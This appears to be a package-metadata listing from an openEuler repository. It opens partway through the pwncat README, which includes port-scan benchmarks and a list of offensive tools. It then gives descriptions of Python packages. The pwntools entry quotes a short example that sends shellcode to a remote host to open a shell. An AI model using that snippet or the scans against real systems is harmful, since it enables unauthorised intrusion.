  udp6       0      0 :::5353                 :::*
  udp6       0      0 :::57728                :::*
  ```

  ```bash
  $ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU
  Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST
  Warning: 127.0.0.1 giving up on port because retransmission cap hit (2).
  Nmap scan report for localhost (127.0.0.1)
  Host is up (0.000035s latency).
  Other addresses for localhost (not scanned): ::1
  Not shown: 65529 closed ports
  PORT      STATE         SERVICE
  68/udp    open|filtered dhcpc
  631/udp   open|filtered ipp
  1053/udp  open|filtered remote-as
  5353/udp  open|filtered zeroconf
  39856/udp open|filtered unknown
  40488/udp open|filtered unknown
  Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds
  real    2m52.446s
  user    0m0.844s
  sys     0m2.571s
  ```

  ```bash
  $ time nc  -z localhost 1-65535  -u -4 -v
  Connection to localhost 68 port [udp/bootpc] succeeded!
  Connection to localhost 631 port [udp/ipp] succeeded!
  Connection to localhost 1053 port [udp/*] succeeded!
  Connection to localhost 5353 port [udp/mdns] succeeded!
  Connection to localhost 39856 port [udp/*] succeeded!
  real    0m18.734s
  user    0m1.004s
  sys     0m2.634s
  ```

  ```bash
  $ time pwncat -z localhost 1-65535 -u -4
  Scanning 65535 ports
  [+]    68/UDP open   (IPv4)
  [+]   631/UDP open   (IPv4)
  [+]  1053/UDP open   (IPv4)
  [+]  5353/UDP open   (IPv4)
  [+] 39856/UDP open   (IPv4)
  real    0m7.309s
  user    0m6.465s
  sys     0m4.794s
  ```

  **See complete FAQ here:** https://docs.pwncat.org/en/latest/faq.html
  **Q**: Is `pwncat` compatible with `netcat`?
  **A**: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode.
  You can even mix `pwncat` with `netcat`, `ncat` or similar tools.
  **Q**: Does it work on X?
  **A**: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see [integration tests](https://github.com/cytopia/pwncat/actions)).
  **Q**: I found a bug / I have to suggest a new feature! What can I do?
  **A**: For bug reports or enhancements, please open an issue [here](https://github.com/cytopia/pwncat/issues).
  **Q**: How can I support this project?
  **A**: Thanks for asking! First of all, star this project to give me some feedback and see [CONTRIBUTING.md](CONTRIBUTING.md) for details.

  <table>
   <thead>
    <tr>
     <th>Type</th>
     <th>Artist</th>
     <th>Image</th>
     <th>License</th>
    </tr>
   </thead>
   <tbody>
    <tr>
     <td>Logo</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/logo.png"><img src="art/logo.png" style="height:128px;" height="128" alt="pwncat logo" title="pwncat logo" /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
    <tr>
     <td>Banner 1</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/banner-1.png"><img src="art/banner-1.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner"  /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
    <tr>
     <td>Banner 2</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/banner-2.png"><img src="art/banner-2.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
   </tbody>
  </table>

  Below is a list of sec tools and docs I am maintaining.
  | Name                 | Category             | Language   | Description |
  |----------------------|----------------------|------------|-------------|
  | **[offsec]**         | Documentation        | Markdown   | Offsec checklist, tools and examples |
  | **[header-fuzz]**    | Enumeration          | Bash       | Fuzz HTTP headers |
  | **[smtp-user-enum]** | Enumeration          | Python 2+3 | SMTP users enumerator |
  | **[urlbuster]**      | Enumeration          | Python 2+3 | Mutable web directory fuzzer |
  | **[pwncat]**         | Pivoting             | Python 2+3 | Cross-platform netcat on steroids |
  | **[kusanagi]**       | Payload Generator    | Python 3   | Bind- and Reverse shell payload generator |
  | **[badchars]**       | Reverse Engineering  | Python 2+3 | Badchar generator |
  | **[fuzza]**          | Reverse Engineering  | Python 2+3 | TCP fuzzing tool |
  | **[docker-dvwa]**    | Playground           | PHP        | DVWA with local priv esc challenges |
  [offsec]: https://github.com/cytopia/offsec
  [header-fuzz]: https://github.com/cytopia/header-fuzz
  [smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
  [urlbuster]: https://github.com/cytopia/urlbuster
  [pwncat]: https://github.com/cytopia/pwncat
  [kusanagi]: https://github.com/cytopia/kusanagi
  [badchars]: https://github.com/cytopia/badchars
  [fuzza]: https://github.com/cytopia/fuzza
  [docker-dvwa]: https://github.com/cytopia/docker-dvwa

  See **[Contributing guidelines](CONTRIBUTING.md)** to help to improve this project.

  This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

  **[MIT License](LICENSE.txt)**
  Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**


pkgId: 07fba42e456648f1391133bbbb5d268fce42828f5c2f0aa2685830748bdab0df
name: python-pwntools
arch: src
version: 4.9.0
epoch: 0
release: 1
summary: Pwntools CTF framework and exploit development library.
url: https://pwntools.com
rpm_license: Mostly MIT, some GPL/BSD, see LICENSE-pwntools.txt
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-43c77e6c-15ed-48f7-aa25-2928988f2708
location_href: 00004618-python-pwntools/python-pwntools-4.9.0-1.src.rpm
checksum_type: sha256
description:
     pwntools logo
  |PyPI| |Docs| |Travis| |GitHub Workflow Status (branch)| |Coveralls|
  |MIT License| |Packaging status| |Discord| |Twitter|
  Pwntools is a CTF framework and exploit development library. Written in
  Python, it is designed for rapid prototyping and development, and
  intended to make exploit writing as simple as possible.
     from pwn import *
     context(arch = 'i386', os = 'linux')
     r = remote('exploitme.example.com', 31337)
     
     r.send(asm(shellcraft.sh()))
     r.interactive()


pkgId: 8119b0a287a38a0cea25405c8aabd5e6430f8843688f05c98a37637dc6fbb421
name: python-py-Ultroid
arch: src
version: 2022.6.6
epoch: 0
release: 1
summary: A Secure and Powerful Python-Telethon Based Library For Ultroid Userbot.
url: https://github.com/TeamUltroid/pyUltroid
rpm_license: GNU AFFERO GENERAL PUBLIC LICENSE (v3)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ef44790d-935b-4e79-a57c-11d47cad94d6
location_href: 00011138-python-py-ultroid/python-py-Ultroid-2022.6.6-1.src.rpm
checksum_type: sha256
description:
  Core library of [The Ultroid](https://github.com/TeamUltroid/Ultroid), a python based telegram userbot.

  [![CodeFactor](https://www.codefactor.io/repository/github/teamultroid/pyultroid/badge)](https://www.codefactor.io/repository/github/teamultroid/pyultroid)
  [![PyPI - Version](https://img.shields.io/pypi/v/py-Ultroid?style=round)](https://pypi.org/project/py-Ultroid)
  [![PyPI - Downloads](https://img.shields.io/pypi/dm/py-Ultroid?label=DOWNLOADS&style=round)](https://pypi.org/project/py-Ultroid)
  [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/TeamUltroid/Ultroid/graphs/commit-activity)
  [![Open Source Love svg2](https://badges.frapsoft.com/os/v2/open-source.svg?v=103)](https://github.com/TeamUltroid/Ultroid)
  [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)


  ```bash
  pip3 install -U py-Ultroid
  ```


  [![Documentation](https://img.shields.io/badge/Documentation-Ultroid-blue)](http://ultroid.tech/)


  - Create folders named `plugins`, `addons`, `assistant` and `resources`.
  - Add your plugins in the `plugins` folder and others accordingly.
  - Create a `.env` file with following mandatory Environment Variables
     ```
     API_ID
     API_HASH
     SESSION
     REDIS_URI
     REDIS_PASSWORD
     ```
  - Check
  [`.env.sample`](https://github.com/TeamUltroid/Ultroid/blob/main/.env.sample) for more details.
  - Run `python3 -m pyUltroid` to start the bot.


   - ### To work everywhere

  ```python
  @ultroid_cmd(
      pattern="start"
  )
  async def _(e):
      await e.eor("Ultroid Started!")
  ```

  - ### To work only in groups

  ```python
  @ultroid_cmd(
      pattern="start",
      groups_only=True,
  )
  async def _(e):
      await eor(e, "Ultroid Started.")
  ```

  - ### Assistant Plugins 👇

  ```python
  @asst_cmd("start")
  async def _(e):
      await e.reply("Ultroid Started.")
  ```

  See more working plugins on [the offical repository](https://github.com/TeamUltroid/Ultroid)!

  > Made with 💕 by [@TeamUltroid](https://t.me/TeamUltroid).



  [![License](https://www.gnu.org/graphics/agplv3-155x51.png)](LICENSE)
  Ultroid is licensed under [GNU Affero General Public License](https://www.gnu.org/licenses/agpl-3.0.en.html) v3 or later.


  * [![TeamUltroid-Devs](https://img.shields.io/static/v1?label=TeamUltroid&message=devs&color=critical)](https://t.me/UltroidDevs)
  * [Lonami](https://github.com/Lonami) for [Telethon](https://github.com/LonamiWebs/Telethon)


pkgId: 3a81ac436ed253d90d9b61eea0a8f5a7ca22a1f876571547ad8fdfc4757e1098
name: python-py-bcrypt
arch: src
version: 0.4
epoch: 0
release: 1
summary: bcrypt password hashing and key derivation
url: https://code.google.com/p/py-bcrypt
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-65e9d964-6bf0-4e3c-b05d-b2e04c77f1b8
location_href: 00004619-python-py-bcrypt/python-py-bcrypt-0.4-1.src.rpm
checksum_type: sha256
description:
  py-bcrypt is an implementation the OpenBSD Blowfish password hashing
  algorithm, as described in "A Future-Adaptable Password Scheme" by
  Niels Provos and David Mazieres and related bcrypt-based key derivation
  function implemented in OpenBSD libutil.

  This system hashes passwords using a version of Bruce Schneier's
  Blowfish block cipher with modifications designed to raise the cost
  of off-line password cracking. The computation cost of the algorithm
  is parametised, so it can be increased as computers get faster.

  Two interfaces are supported: a classic password hashing interface and
  a key derivation function (KDF) intended for generating cryptographic
  keys.


pkgId: ccec3fb7ad670c21f76501910b366b0f96d691cacb5999baa6959d5449628d2c
name: python-py-cord
arch: src
version: 2.4.1
epoch: 0
release: 1
summary: A Python wrapper for the Discord API
url: https://pycord.dev
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-52c8650b-72d9-4f5d-aa2d-fce0871527ae
location_href: 00012265-python-py-cord/python-py-cord-2.4.1-1.src.rpm
checksum_type: sha256
description:
  A fork of discord.py. Pycord is a modern, easy to use, feature-rich, and async ready API wrapper for Discord written in Python.


pkgId: 389420ecacf24ef554476b847e1ed7f7da35ce163cb1780256de1e84da2654d0
name: python-py-cpuinfo
arch: src
version: 9.0.0
epoch: 0
release: 1
summary: Get CPU info with pure Python
url: https://github.com/workhorsy/py-cpuinfo
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4ec81f92-e9d4-46c5-894f-7b9b7ecc939d
location_href: 00009658-python-py-cpuinfo/python-py-cpuinfo-9.0.0-1.src.rpm
checksum_type: sha256
description:
  Py-cpuinfo gets CPU info with pure Python. Py-cpuinfo should work
  without any extra programs or libraries, beyond what your OS provides.
  It does not require any compilation(C/C++, assembly, et cetera) to use.
  It works with Python 3.
  Documentation can be viewed here: https://github.com/workhorsy/py-cpuinfo


pkgId: 2d7625b5a310621b4a220a4fe2f536899cbbd50af4d4213a7554cdf43ae08e32
name: python-py-dateutil
arch: src
version: 2.2
epoch: 0
release: 1
summary: Extensions to the standard Python datetime module
url: https://bitbucket.org/cld/dateutil
rpm_license: Simplified BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fa6811c8-e51c-403e-8d17-29d30b00c373
location_href: 00012599-python-py-dateutil/python-py-dateutil-2.2-1.src.rpm
checksum_type: sha256
description:
  The dateutil module provides powerful extensions to the
  datetime module available in the Python standard library.


pkgId: 6ab61eceebec8fe3d4a4761e3efac12dbf893d1a83f779862c7213ebcedfb2e7
name: python-py-gfm
arch: src
version: 2.0.0
epoch: 0
release: 1
url: https://github.com/zopieux/py-gfm
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-79bacd35-f41e-4e4d-882c-3de8f032be8b
location_href: 00004620-python-py-gfm/python-py-gfm-2.0.0-1.src.rpm
checksum_type: sha256
summary:
  An implementation of Github-Flavored Markdown written as an extension to the Python Markdown library.

description:
  **PLEASE READ BEFORE USING:**
  **This repository will not receive bug fixes, and might become read-only soon.**
  Rationale: this library has well-known `consistency issues`_ with GitHub-Flavored Markdown rendering. Fixing
  them would require time investment the maintainer cannot provide. The maintainer is also fatigued by
  Markdown's library constantly breaking their internal API with each minor release.
  **Consider instead using** |pycmarkgfm|_ (PyPi_), a lightweight Python 3.5+ wrapper for GitHub's
  own implementation of GFM from the same author,
  which is faster, virtually byte-compatible with GitHub rendering,
  and provides a nice API for managing task lists aka. TODO lists.
  |Build status| |Coverage status| |Documentation status|
  This is an implementation of `GitHub-Flavored Markdown`_ written as an
  extension to the Python `Markdown`_ library. It aims for, but does not
  achieve, maximal compatibility with GitHub's rendering.
  Tested Python versions are 3.5 to 3.8. Sorry, no Python 2.7 support starting
  with py-gfm 1.x since the Python Markdown library itself is Python 3 only.


pkgId: 86d9ffa423a113f0f6b9a7d1e60eb99d5071f5b4a73434ac31b6c881a5583f1e
name: python-py-gql
arch: src
version: 0.6.1
epoch: 0
release: 1
summary: Comprehensive GraphQL implementation for Python.
url: https://github.com/lirsacc/py-gql
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-43aa4ca2-ee30-486c-a697-bc42811bf406
location_href: 00004621-python-py-gql/python-py-gql-0.6.1-1.src.rpm
checksum_type: sha256
description:
  [![GitHub Workflow Status](https://img.shields.io/github/workflow/status/lirsacc/py-gql/ci?logo=GitHub)](https://github.com/lirsacc/py-gql/actions?query=workflow%3Aci) [![Codecov](https://img.shields.io/codecov/c/github/lirsacc/py-gql.svg?logo=CodeCov)](https://codecov.io/gh/lirsacc/py-gql) [![PyPI](https://img.shields.io/pypi/v/py-gql.svg?logo=PyPi&logoColor=white)](https://pypi.org/project/py-gql/) ![PyPI - Python Version](https://img.shields.io/pypi/pyversions/py-gql.svg?logo=python&logoColor=white) ![Wheel](https://img.shields.io/pypi/wheel/py-gql.svg) [![Read the Docs (version)](https://img.shields.io/readthedocs/pip/latest.svg?logoColor=white&logo=read-the-docs)](https://py-gql.readthedocs.io/)
  py-gql is a pure python [GraphQL](http://facebook.github.io/graphql/) implementation aimed at creating GraphQL servers and providing common tooling.
  It supports:
  - Parsing the GraphQL query language and schema definition language.
  - Building a GraphQL type schema programmatically and from Schema Definition files (including support for schema directives).
  - Validating and Executing a GraphQL request against a type schema.


pkgId: 59877a3b7255b2608187f71ace194ca187e79d2ad0b4afe04c2a1918d1f238ef
name: python-py-healthcheck
arch: src
version: 1.10.1
epoch: 0
release: 1
summary: Adds healthcheck endpoints to Flask or Tornado apps
url: https://github.com/ateliedocodigo/py-healthcheck
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c311b74b-bd1d-40d6-be13-407e821a35ef
location_href: 00011998-python-py-healthcheck/python-py-healthcheck-1.10.1-1.src.rpm
checksum_type: sha256
description:
  Healthcheck is a library to write simple healthcheck functions that can
  be used to monitor your application. It is possible to use in a ``Flask``
  app or ``Tornado`` app. It's useful for asserting that your dependencies
  are up and running and your application can respond to HTTP requests.
  The Healthcheck functions can be exposed via a user defined ``Flask``
  route so you can use an external monitoring application (``monit``,
  ``nagios``, ``Runscope``, etc.) to check the status and uptime of your
  application.
  New in version 1.1: Healthcheck also gives you a simple Flask route to
  view information about your application's environment. By default, this
  includes data about the operating system, the Python environment, the
  current process, and the application config. You can customize which
  sections are included, or add your own sections to the output.


pkgId: 2f35b4a7f88cbd90fbb16fe58e653b9e611dcd23990ee5b17d19522be5f9ea27
name: python-py-moneyed
arch: src
version: 3.0
epoch: 0
release: 1
summary: Provides Currency and Money classes for use in your Python code.
url: http://github.com/py-moneyed/py-moneyed
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-bda9f2b8-f470-447f-84a7-922096ebcb00
location_href: 00011019-python-py-moneyed/python-py-moneyed-3.0-1.src.rpm
checksum_type: sha256
description:
  The need to represent instances of money frequently arises in software
  development, particularly any financial/economics software. To address that
  need, the py-moneyed package provides the classes of Money and Currency, at a
  level more useful than just using Python's Decimal class, or ($DEITY forbid) the
  float primitive. The package is meant to be stand-alone and used directly, or
  be subclassed further. py-moneyed is BSD-licensed.


pkgId: 3a078bfc337609a30d0dd9422eea6097685834aee8a75bd278ebbcdad3337b5d
name: python-py-radix
arch: src
version: 0.10.0
epoch: 0
release: 1
summary: Radix tree implementation
url: https://github.com/mjschultz/py-radix
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-81fdfb13-1a9b-4533-abd9-18be302582fe
location_href: 00004622-python-py-radix/python-py-radix-0.10.0-1.src.rpm
checksum_type: sha256
description:
  py-radix implements the radix tree data structure for the storage and
  retrieval of IPv4 and IPv6 network prefixes.
  The radix tree is commonly used for routing table lookups. It efficiently
  stores network prefixes of varying lengths and allows fast lookups of
  containing networks.


pkgId: 80ae36ffe6a0028c0a688168acaa1f8be10106967be1e23d9c00a1460792d9dd
name: python-py-vapid
arch: src
version: 1.9.0
epoch: 0
release: 1
summary: Simple VAPID header generation library
url: https://github.com/mozilla-services/vapid
rpm_license: MPL2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e3eaa070-4179-4212-9a94-7db1f2655f96
location_href: 00012102-python-py-vapid/python-py-vapid-1.9.0-1.src.rpm
checksum_type: sha256
description:
  This minimal library contains the minimal set of functions you need to
  generate a VAPID key set and get the headers you’ll need to sign a
  WebPush subscription update.
  VAPID is a voluntary standard for WebPush subscription providers (sites
  that send WebPush updates to remote customers) to self-identify to Push
  Servers (the servers that convey the push notifications).
  The VAPID “claims” are a set of JSON keys and values. There are two
  required fields, one semi-optional and several optional additional
  fields.
  At a minimum a VAPID claim set should look like:
     {"sub":"mailto:YourEmail@YourSite.com","aud":"https://PushServer","exp":"ExpirationTimestamp"}
  A few notes:
  **sub** is the email address you wish to have on record for this
  request, prefixed with “``mailto:``”. If things go wrong, this is the
  email that will be used to contact you (for instance). This can be a
  general delivery address like “``mailto:push_operations@example.com``”
  or a specific address like “``mailto:bob@example.com``”.
  **aud** is the audience for the VAPID. This is the scheme and host you
  use to send subscription endpoints and generally coincides with the
  ``endpoint`` specified in the Subscription Info block.
  As example, if a WebPush subscription info contains:
  ``{"endpoint": "https://push.example.com:8012/v1/push/...", ...}``
  then the ``aud`` would be “``https://push.example.com:8012``”
  While some Push Services consider this an optional field, others may be
  stricter.
  **exp** This is the UTC timestamp for when this VAPID request will
  expire. The maximum period is 24 hours. Setting a shorter period can
  prevent “replay” attacks. Setting a longer period allows you to reuse
  headers for multiple sends (e.g. if you’re sending hundreds of updates
  within an hour or so.) If no ``exp`` is included, one that will expire
  in 24 hours will be auto-generated for you.
  Claims should be stored in a JSON compatible file. In the examples
  below, we’ve stored the claims into a file named ``claims.json``.
  py_vapid can either be installed as a library or used as a stand along
  app, ``bin/vapid``.


pkgId: f125f320fef9f1bec6312eeda80468a8cb3721ff1ed703490ff91e42e46e114b
name: python-py2pack
arch: src
version: 0.8.7
epoch: 0
release: 1
summary: Generate distribution packages from PyPI
url: http://github.com/openSUSE/py2pack
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-aec94851-dc98-4e0d-b3a9-cdb4cf28af5b
location_href: 00004623-python-py2pack/python-py2pack-0.8.7-1.src.rpm
checksum_type: sha256
description:
  This script allows to generate RPM spec or DEB dsc files from Python modules.
  It allows to list Python modules or search for them on the Python Package Index
  (PyPI). Conveniently, it can fetch tarballs and changelogs making it an
  universal tool to package Python modules.


pkgId: 6dbc39f59beabbf97c0b2d66f703259f4f8b51acf953e8499a233ca8e6e63dd8
name: python-py3Dmol
arch: src
version: 2.0.1.post1
epoch: 0
release: 1
summary: An IPython interface for embedding 3Dmol.js views in Jupyter notebooks
url: https://3dmol.org
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-34a7ed4f-7aa0-49c5-bbeb-818d4f73a7b6
location_href: 00012689-python-py3dmol/python-py3Dmol-2.0.1.post1-1.src.rpm
checksum_type: sha256
description:
  A simple [IPython/Jupyter](http://jupyter.org/) widget to
  embed an interactive [3Dmol.js](http://3dmol.org) viewer in a notebook.
  The widget is completely static, which means the viewer doesn't need a running
  IPython kernel to be useful and web pages and presentations generated from
  the notebook will work as expected.  However, this also means there is only
  one-way communication between the notebook and the viewer.
  If you experience problems, please file
  an [issue](https://github.com/3dmol/3Dmol.js/issues).
  [An example notebook](http://nbviewer.jupyter.org/github/3dmol/3Dmol.js/blob/master/py3Dmol/examples.ipynb)


pkgId: a05ba5912882e65e997cf2cc2505f7dfc53d4f8f4919ecebdeb440c501fe47b7
name: python-py3nvml
arch: src
version: 0.2.7
epoch: 0
release: 1
summary: Python 3 Bindings for the NVIDIA Management Library
url: https://github.com/fbcotter/py3nvml.git
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-29507957-47c1-4b57-807b-32078ac7552c
location_href: 00004625-python-py3nvml/python-py3nvml-0.2.7-1.src.rpm
checksum_type: sha256
description:
  Documentation also available at `readthedocs`__.
  Python 3 compatible bindings to the NVIDIA Management Library. Can be used to
  query the state of the GPUs on your system. This was ported from the NVIDIA
  provided python bindings `nvidia-ml-py`__, which only
  supported python 2. I have forked from version 7.352.0. The old library was
  itself a wrapper around the `NVIDIA Management Library`__.
  __ https://py3nvml.readthedocs.io/en/latest/
  __ https://pypi.python.org/pypi/nvidia-ml-py/7.352.0
  __ http://developer.nvidia.com/nvidia-management-library-nvml
  In addition to these NVIDIA functions to query the state of the GPU, I have written
  a couple functions/tools to help in using gpus (particularly for a shared
  gpu server). These are:
  - A function to 'restrict' the available GPUs by setting the `CUDA_VISIBLE_DEVICES`
    environment variable.
  - A script for displaying a differently formatted nvidia-smi.
  See the Utils section below for more info.


pkgId: aa3a29cc7e1531a3d4ff767d8cd9707f274d9c9d7f1cf6e07d40fbca128bf57b
name: python-py4j
arch: src
version: 0.10.9.7
epoch: 0
release: 1
summary: Enables Python programs to dynamically access arbitrary Java objects
url: https://www.py4j.org/
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-3e64d4f7-8347-4ad6-bb81-509d5b8e20a7
location_href: 00004627-python-py4j/python-py4j-0.10.9.7-1.src.rpm
checksum_type: sha256
description:
  Py4J enables Python programs running in a Python interpreter to dynamically access Java objects in a Java Virtual Machine. Methods are called as if the Java objects resided in the Python interpreter and Java collections can be accessed through standard Python collection methods. Py4J also enables Java programs to call back Python objects.


pkgId: 6f61fd66e7b8fb109c1116253a5d6b09ac0613233ecd322d2d31cb8ae9205c4e
name: python-py9p
arch: src
version: 1.0.8
epoch: 0
release: 1
summary: 9P Protocol Implementation
url: https://github.com/svinota/py9p
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-86b3703e-48a7-432b-9dd8-e0728095d74e
location_href: 00004628-python-py9p/python-py9p-1.0.8-1.src.rpm
checksum_type: sha256
description:
  The library allows you to use 9P protocol in your
  applications. Please note, that the library is not
  fully compatible with the original version by
  Andrey Mirtchovski.
  Also, this package provides two components:
   * fuse9p -- FUSE 9p client
   * 9pfs -- simple file server (alpha state)


pkgId: 5aa056baf0daa81f3a4a41aed1f7fa5632cec99a0cad0dd5b79080ae389a38a6
name: python-pyArango
arch: src
version: 2.0.1
epoch: 0
release: 1
summary: An easy to use python driver for ArangoDB with built-in validation
url: https://github.com/tariqdaouda/pyArango
rpm_license: ApacheV2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-69e88b77-4784-45bb-ad4d-715fcbe296f1
location_href: 00011854-python-pyarango/python-pyArango-2.0.1-1.src.rpm
checksum_type: sha256
description:
  pyArango aims to be an easy to use driver for ArangoDB with built in validation. Collections are treated as types that apply to the documents within. You can be 100% permissive or enforce schemas and validate fields on set, on save or on both.
  pyArango supports graphs, indexes and probably everything that arangodb_ can do.
  pyArango is developed by `Tariq Daouda`_, the full source code is available from github_.
  For the latest news about pyArango, you can follow me on twitter `@tariqdaouda`_.
  If you have any issues with it, please file a github issue.


pkgId: 4b0d26c1c98c283f34234e33ecb926e03acf694b6c4dfb231afd06b84e42e131
name: python-pyCEC
arch: src
version: 0.5.2
epoch: 0
release: 1
summary: Provide HDMI CEC devices as objects, especially for use with Home Assistant
url: https://github.com/konikvranik/pycec/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-846f84b7-577f-48e3-80c4-0e24681ba3a3
location_href: 00004645-python-pycec/python-pyCEC-0.5.2-1.src.rpm
checksum_type: sha256
description:
  Purpose of this project is to provide object API to libcec for
  home-assistant hdmi\_cec module as `primary
  goal <https://github.com/konikvranik/pyCEC/projects/1>`__ and to make
  TCP <=> HDMI bridge to control HDMI devices over TCP network as a
  `secondary goal <https://github.com/konikvranik/pyCEC/projects/2>`__.


pkgId: 96db4a2ccd55648cbbeb2eaeed1ac68c3bfba04362f1745860ca7b4decb700f4
name: python-pyCLI
arch: src
version: 2.0.3
epoch: 0
release: 1
summary: Simple, object-oriented approach to Python CLI apps
url: http://packages.python.org/pyCLI/
rpm_license: UNKNOWN
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ddc26439-d38d-45b0-905b-bfec11bc0fa8
location_href: 00012315-python-pycli/python-pyCLI-2.0.3-1.src.rpm
checksum_type: sha256
description:
  The cli package is a framework for making simple, correct command
  line applications in Python. With cli, you can quickly add standard
  `command line parsing`_; `logging`_; `unit`_ and `functional`_ testing;
  and `profiling`_ to your CLI apps. To make it easier to do the right
  thing, cli wraps all of these tools into a single, consistent application
  interface.

  .. _command line parsing:   http://www.python.org/dev/peps/pep-0389/#deprecation-of-optparse
  .. _logging:                http://docs.python.org/library/logging.html
  .. _unit:                   http://docs.python.org/library/unittest.html
  .. _functional:             http://pythonpaste.org/scripttest/
  .. _profiling:              http://docs.python.org/library/profile.html


pkgId: 90aab7f18cccb9e54e28ef2e3a75d352dd108f698add4687dd5735519a2bc522
name: python-pyClamd
arch: src
version: 0.4.0
epoch: 0
release: 1
summary: pyClamd is a python interface to Clamd (Clamav daemon).
url: http://xael.org/pages/pyclamd-en.html
rpm_license: License :: OSI Approved :: GNU Lesser General Public License v3 or later (LGPLv3+)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a562dbb7-94c8-4777-a10b-5566a7a43fd3
location_href: 00013393-python-pyclamd/python-pyClamd-0.4.0-1.src.rpm
checksum_type: sha256
description:
  pyClamd is a python interface to Clamd (Clamav daemon). By using pyClamd, you can add virus detection capabilities to your python software in an efficient and easy way. Instead of pyClamav which uses libclamav, pyClamd may be used by a closed source product.


pkgId: b626710925b0fe8b7f6ac584c430fb961008d3d8c7ebf2fe22b0cd4fe757c959
name: python-pyLibravatar
arch: src
version: 1.7
epoch: 0
release: 1
summary: Python module for Libravatar
url: https://launchpad.net/pylibravatar
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8f830440-82c2-42df-bded-510078928626
location_href: 00004725-python-pylibravatar/python-pyLibravatar-1.7-1.src.rpm
checksum_type: sha256
description:
  PyLibravatar is an easy way to make use of the federated `Libravatar`_
  avatar hosting service from within your Python applications.

  See the `project page`_ to file bugs or ask questions.

  .. _Libravatar: https://www.libravatar.org/
  .. _project page: https://launchpad.net/pylibravatar


pkgId: 6bea3680604be3ae3c4864aca8e91dad5fd20d981cdc61d3ecc69522a4f6ac15
name: python-pyModbusTCP
arch: src
version: 0.2.0
epoch: 0
release: 1
summary: A simple Modbus/TCP library for Python
url: https://github.com/sourceperl/pyModbusTCP
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ad235955-b4c5-467a-9d73-c9005443f02e
location_href: 00004629-python-pyModbusTCP/python-pyModbusTCP-0.2.0-1.src.rpm
checksum_type: sha256
description:
  A simple Modbus/TCP client library for Python.
  pyModbusTCP is pure Python code without any extension or external module dependency.
  Since version 0.1.0, a server is also available for test purpose only (don't use in project).


pkgId: 969e54f0ce4262a3826d8467af0b728708d9489f89a6825065f2f57aaf50d845
name: python-pyPrivnote
arch: src
version: 0.0.1a1
epoch: 0
release: 1
summary: A Python Interface to Privnote service
url: https://github.com/intelligentguy/pyPrivnote
rpm_license: GPLv3+
